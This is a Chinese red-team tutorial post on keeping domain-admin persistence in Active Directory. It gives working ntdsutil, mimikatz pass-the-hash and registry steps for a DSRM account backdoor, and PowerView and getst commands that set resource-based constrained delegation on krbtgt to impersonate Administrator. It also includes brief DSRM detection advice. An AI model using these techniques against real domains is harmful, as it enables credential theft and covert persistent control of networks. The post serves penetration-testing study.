域渗透-域内权限维持(上)

admin 2022年5月16日00:54:33评论38 views字数 2998阅读9分59秒阅读模式
域渗透-域内权限维持(上)

点击上方“蓝字”,关注更多精彩


域渗透-域内权限维持(上)

前言

域内权限维持的方法总结如下:

  1. DSRM

  2. 利用基于资源的约束委派进行域权限维持

  3. Delegation Golden Ticket

  4. 利用域用户登陆脚本

  5. 万能密码(Skeleton-Key)

  6. 黄金票据

  7. AdminSDHolder

  8. SID History后门


技术展开

2.1 DSRM

原理

        在每个域控机器下都有一个DSRM帐户,为DC的本地管理员账户,这个帐户的作用就是用来设定登陆服务还原模式 AD 节点的系统管理员密码,意思就是可以从新设置DC管理员的密码,在红队作战中,如果我们拿到了DSRM帐户的密码,就算哪天域管权限丢失,我们也可以把域内任意用户的密码同步到 DSRM 账户上[这里包括了 dc 本地的 admainistrator 用户],而后再利用 DSRM 账户 ipc 连到 dc 上把域管权限拿回来。

<!--DSRM账户是域控的本地管理员账户,并非域的管理员帐户,存储在SAM文件中,所以DSRM密码同步之后并不会影响域的管理员帐户,另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效,且更改域内的administrator帐户,并不会影响DSRM帐户,持久化效果会很好 -->

域渗透-域内权限维持(上)

小细节:

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步
Windows Server 2003不支持DSRM密码同步

利用方式

攻击者将DSRM账户的hash与krbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。

需要的条件:

  1. 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。

    1.1 直接修改DSRM 帐户的密码

    1.2 域帐户同步的方式来修改

  2. 需要修改DSRM的登录方式。

    2.1 通过注册表修改

实际操作

域帐户同步的方式来修改DSRM 帐户的密码

set dsrm password
sync from domain account 域用户

域渗透-域内权限维持(上)

直接修改DSRM 帐户的密码(这种需要之前的administrator帐户密码)

运行 ntdsutil
#输入
reset password on server null
administrator帐户的密码
DSRM新密码

域渗透-域内权限维持(上)

获取本地SAM 数据库的密码:

token::elevate 
lsadump::sam

发现hash已经与域用户admin hash 同步了

域渗透-域内权限维持(上)

修改DSRM登陆方式,允许DSRM帐户远程访问:

需设置注册表项,如果没有,则新建,计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa,设置值参考如下:

 0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。

 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。

 2:在任何情况下,都可以使用DSRM管理员账号登录域控。

我们需设置为2

域渗透-域内权限维持(上)

然后mimikatz pth

sekurlsa::pth /domain:DC /User:administrator /ntml:hash
dir /a \DCC$

域渗透-域内权限维持(上)

防御与检测:

1.定期检查注册表中用于控制DSRM登录方式的键值hklm:systemcurrentcontrolsetcontrollsa确认该键值为1,或者删除该键值。
2.定期修改域中所有域控的DSRM账号。
3.检查ID为4794的日志

2.2 利用基于资源的约束委派进行域权限维持

原理

基于资源的约束委派(Resource-based constrained delegation)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。

利用原理:给DC或者krbtgt 设置我们控制的主机资源的基于资源的委派,那么就能控制DC,达到权限维持的目的。

利用方式

主要有两种方法:

  1. 配置机器帐户到krbtgt帐户基于资源的约束委派

  2. 配置机器帐户到域控基于资源的约束委派

实际操作

配置机器帐户到krbtgt帐户基于资源的约束委派,使用的工具模块为 Powerview:

值得注意的是,基于资源的委派,必须是委派双方需资源,例如机器帐户,服务帐户什么的,不能是域用户,下面尝试使用设置域用户帐户设置基于资源的委派,发现能设置,但是实际上是用不了

  1. 获取test1域用户的sid

Get-DomainUser -Identity test1 -Properties objectsid
#S-1-5-21-2288091295-2811714918-3159536460-1107
  1. 设置test1到krbtgt 的基于资源的委派

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2288091295-2811714918-3159536460-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要域管理员权限才能设置,不然就会拒绝访问

域渗透-域内权限维持(上)

3.查看是否设置成功

Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

域渗透-域内权限维持(上)

也可以通过ActiveDirectory模块添加:

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项

Set-DomainObject Krbtgt -PrincipalsAllowedToDelegateToAccount test1
Get-DomainObject Krbtgt -Properties PrincipalsAllowedToDelegateToAccount

4.利用test1 域用户请求TGT:

getst.exe -dc-ip 192.168.140.1 -spn krbtgt -impersonate Administrator redteamspace.com/test1:1qaz@WSX

域渗透-域内权限维持(上)

重新配置机器帐户到krbtgt帐户基于资源的约束委派,步骤相同,只需要把test1改成机器帐户,或者服务帐户

域渗透-域内权限维持(上)

这里就能成功请求到票据了

域渗透-域内权限维持(上)

这里就有DCSync的权限了,但如果要访问域空,那么krbtgt就得改成域控的机器帐户名了,或者其他服务。


域渗透-域内权限维持(上)

END

域渗透-域内权限维持(上)


域渗透-域内权限维持(上)


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
域渗透-域内权限维持(上)
域渗透-域内权限维持(上)
域渗透-域内权限维持(上)
域渗透-域内权限维持(上)
扫码关注我们
域渗透-域内权限维持(上)


扫码领hacker资料,常用工具,以及各种福利


域渗透-域内权限维持(上)

转载是一种动力 分享是一种美德


原文始发于微信公众号(Gamma实验室):域渗透-域内权限维持(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日00:54:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透-域内权限维持(上)https://cn-sec.com/archives/1008919.html

发表评论

匿名网友 填写信息